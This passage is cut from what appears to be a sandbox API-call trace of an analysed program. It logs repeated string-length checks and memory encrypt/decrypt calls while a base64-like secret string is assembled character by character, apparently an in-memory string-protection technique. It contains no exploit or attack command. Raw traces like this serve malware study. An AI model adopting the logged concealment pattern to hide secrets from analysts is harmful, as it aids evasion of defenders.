out: Memory=0x8e5f22c) returned 0x0 [0137.278] SysStringLen (param_1="Bjy6jO2J2H渢ꋱ㭾쒓耥") returned 0x10 [0137.278] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.278] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\x118a\xe63a\x8bc\x3fd0\x7c93\xdc44\xd2eb\xeaaf") returned 0x10 [0137.278] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\x118a\xe63a\x8bc\x3fd0\x7c93\xdc44\xd2eb\xeaaf") returned 0x10 [0137.278] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.278] SysStringLen (param_1="Bjy6jO2J2HSꋱ㭾쒓耥") returned 0x10 [0137.278] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.278] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\x7311\xddc7\x7e0b\x4700\xdd56\x5301\x8310\x2be7") returned 0x10 [0137.278] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\x7311\xddc7\x7e0b\x4700\xdd56\x5301\x8310\x2be7") returned 0x10 [0137.279] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.279] SysStringLen (param_1="Bjy6jO2J2HS4㭾쒓耥") returned 0x10 [0137.279] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.279] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\x7f52\x77e2\x2eb6\xb34e\x6856\xfad3\xf04c\x5044") returned 0x10 [0137.279] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\x7f52\x77e2\x2eb6\xb34e\x6856\xfad3\xf04c\x5044") returned 0x10 [0137.279] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.279] SysStringLen (param_1="Bjy6jO2J2HS4l쒓耥") returned 0x10 [0137.279] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.279] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xf1b7\xb676\xec68\x9025\x7057\x36c1\xadc5\x4a10") returned 0x10 [0137.279] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xf1b7\xb676\xec68\x9025\x7057\x36c1\xadc5\x4a10") returned 0x10 [0137.279] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.279] SysStringLen (param_1="Bjy6jO2J2HS4lW耥") returned 0x10 [0137.279] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.279] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\x7acf\x6894\x72e9\xb0fe\xed4e\x324a\x722c\xa5eb") returned 0x10 [0137.279] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\x7acf\x6894\x72e9\xb0fe\xed4e\x324a\x722c\xa5eb") returned 0x10 [0137.279] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.279] SysStringLen (param_1="Bjy6jO2J2HS4lWk") returned 0x10 [0137.279] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.280] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\x2ad7\x63b9\x459e\xd701\xe0fc\x5a5f\x1ebf\x42a") returned 0x10 [0137.280] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\x2ad7\x63b9\x459e\xd701\xe0fc\x5a5f\x1ebf\x42a") returned 0x10 [0137.280] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.280] SysStringLen (param_1="Bjy6jO2J2HS4lWk+") returned 0x10 [0137.280] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.280] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1") returned 0x10 [0137.280] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1") returned 0x10 [0137.280] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1") returned 0x10 [0137.280] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1") returned 0x18 [0137.280] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.280] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/鍔ୋ괖䅧ఱΎ⸂") returned 0x18 [0137.280] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.280] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xe9e1\xd68c\x3d3\x60c0\xe036\x3ec7\x776e\x8d24") returned 0x18 [0137.280] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xe9e1\xd68c\x3d3\x60c0\xe036\x3ec7\x776e\x8d24") returned 0x18 [0137.280] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.280] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5ୋ괖䅧ఱΎ⸂") returned 0x18 [0137.280] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.281] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xdda3\xb0b3\x136b\x5210\x6696\x5584\xe068\x95ed") returned 0x18 [0137.281] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xdda3\xb0b3\x136b\x5210\x6696\x5584\xe068\x95ed") returned 0x18 [0137.281] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.281] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5R괖䅧ఱΎ⸂") returned 0x18 [0137.281] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.281] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xb90a\x5352\xba7b\xffc1\xb0d6\x3c1d\x127d\xe3fb") returned 0x18 [0137.281] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xb90a\x5352\xba7b\xffc1\xb0d6\x3c1d\x127d\xe3fb") returned 0x18 [0137.281] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.281] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RS䅧ఱΎ⸂") returned 0x18 [0137.281] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.281] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\x553f\x7725\xba9a\x17f6\x3414\xc4ad\xbbca\x7466") returned 0x18 [0137.281] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\x553f\x7725\xba9a\x17f6\x3414\xc4ad\xbbca\x7466") returned 0x18 [0137.281] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.281] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkఱΎ⸂") returned 0x18 [0137.281] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.281] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\x3d8a\xa084\x461e\xd854\xb07c\x54b1\xc50\xb94f") returned 0x18 [0137.281] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\x3d8a\xa084\x461e\xd854\xb07c\x54b1\xc50\xb94f") returned 0x18 [0137.281] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.282] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeΎ⸂") returned 0x18 [0137.282] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.282] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xb0fc\xaa82\xbbe3\xa2b6\xb4db\x5963\xed4\xab4a") returned 0x18 [0137.282] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xb0fc\xaa82\xbbe3\xa2b6\xb4db\x5963\xed4\xab4a") returned 0x18 [0137.282] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.282] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJ⸂") returned 0x18 [0137.282] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.282] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xb5c5\xe7e8\x2b5c\x373e\x3256\x4007\x2b57\x3d26") returned 0x18 [0137.282] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xb5c5\xe7e8\x2b5c\x373e\x3256\x4007\x2b57\x3d26") returned 0x18 [0137.282] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.282] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJN") returned 0x18 [0137.282] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.282] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7") returned 0x18 [0137.282] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7") returned 0x18 [0137.282] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7") returned 0x18 [0137.282] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7") returned 0x20 [0137.282] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.283] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNH삭ᑰ≹⸡唉챤") returned 0x20 [0137.283] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.283] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\x884a\x708f\x2af6\xb606\x7f23\x49f5\x2879\x841d") returned 0x20 [0137.283] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\x884a\x708f\x2af6\xb606\x7f23\x49f5\x2879\x841d") returned 0x20 [0137.283] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.283] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNHKᑰ≹⸡唉챤") returned 0x20 [0137.283] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.283] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\x6568\xa4e8\x4502\x26e0\x649e\x55db\xf76c\x859b") returned 0x20 [0137.283] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\x6568\xa4e8\x4502\x26e0\x649e\x55db\xf76c\x859b") returned 0x20 [0137.283] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.284] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNHKQᑰ≹⸡唉챤") returned 0x20 [0137.284] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.284] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\x3044\xaaf6\x3a9a\x73bd\xaba\xa4f5\x839\xfa6f") returned 0x20 [0137.284] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\x3044\xaaf6\x3a9a\x73bd\xaba\xa4f5\x839\xfa6f") returned 0x20 [0137.284] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.284] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNHKQp≹⸡唉챤") returned 0x20 [0137.284] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.285] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xb6bb\x70f0\xf8ac\x6d64\x1691\xbdab\xe659\xa08b") returned 0x20 [0137.285] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xb6bb\x70f0\xf8ac\x6d64\x1691\xbdab\xe659\xa08b") returned 0x20 [0137.285] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.285] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNHKQpS⸡唉챤") returned 0x20 [0137.285] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.285] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\x2903\xb784\x4cd1\x3a57\x6f5c\x7e6b\x950a\x1cb9") returned 0x20 [0137.285] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\x2903\xb784\x4cd1\x3a57\x6f5c\x7e6b\x950a\x1cb9") returned 0x20 [0137.285] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.285] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNHKQpSO唉챤") returned 0x20 [0137.285] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.285] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xdf0a\x1c60\x6025\x1f32\x2c4e\x5b3d\x8206\xb5ea") returned 0x20 [0137.285] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xdf0a\x1c60\x6025\x1f32\x2c4e\x5b3d\x8206\xb5ea") returned 0x20 [0137.285] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.285] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNHKQpSOP챤") returned 0x20 [0137.285] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.285] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\x49a3\x746\x3cfe\xf95f\x50e8\x3aa4\xb5f4\x580b") returned 0x20 [0137.285] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\x49a3\x746\x3cfe\xf95f\x50e8\x3aa4\xb5f4\x580b") returned 0x20 [0137.285] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.286] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNHKQpSOPR") returned 0x20 [0137.286] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.286] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015") returned 0x20 [0137.286] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015") returned 0x20 [0137.286] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015") returned 0x20 [0137.286] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015") returned 0x28 [0137.286] SystemFunction041 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.286] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNHKQpSOPRY磖ⳇ愍畆๜惆") returned 0x28 [0137.286] SystemFunction040 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.286] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\xc73c\xa940\xa07e\xdfd4\xac5c\x34b7\x943c\xfd59") returned 0x28 [0137.286] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\xc73c\xa940\xa07e\xdfd4\xac5c\x34b7\x943c\xfd59") returned 0x28 [0137.286] SystemFunction041 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.286] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNHKQpSOPRYfⳇ愍畆๜惆") returned 0x28 [0137.286] SystemFunction040 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.286] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x6f68\x79ea\x6879\xb201\x246\xb9c0\x9b44\x58d8") returned 0x28 [0137.286] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x6f68\x79ea\x6879\xb201\x246\xb9c0\x9b44\x58d8") returned 0x28 [0137.286] SystemFunction041 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.287] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNHKQpSOPRYf+愍畆๜惆") returned 0x28 [0137.287] SystemFunction040 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.287] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x6c6c\xf197\x26fd\x21a0\x225b\x8b82\x565f\x658e") returned 0x28 [0137.287] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x6c6c\xf197\x26fd\x21a0\x225b\x8b82\x565f\x658e") returned 0x28 [0137.287] SystemFunction041 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.287] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNHKQpSOPRYf+z畆๜惆") returned 0x28 [0137.287] SystemFunction040 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.287] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x3acf\xb091\x5a99\xcd31\xf0e\x518e\x498b\x68c1") returned 0x28 [0137.287] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x3acf\xb091\x5a99\xcd31\xf0e\x518e\x498b\x68c1") returned 0x28 [0137.287] SystemFunction041 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.287] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNHKQpSOPRYf+zs๜惆") returned 0x28 [0137.287] SystemFunction040 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.287] SysStringLen 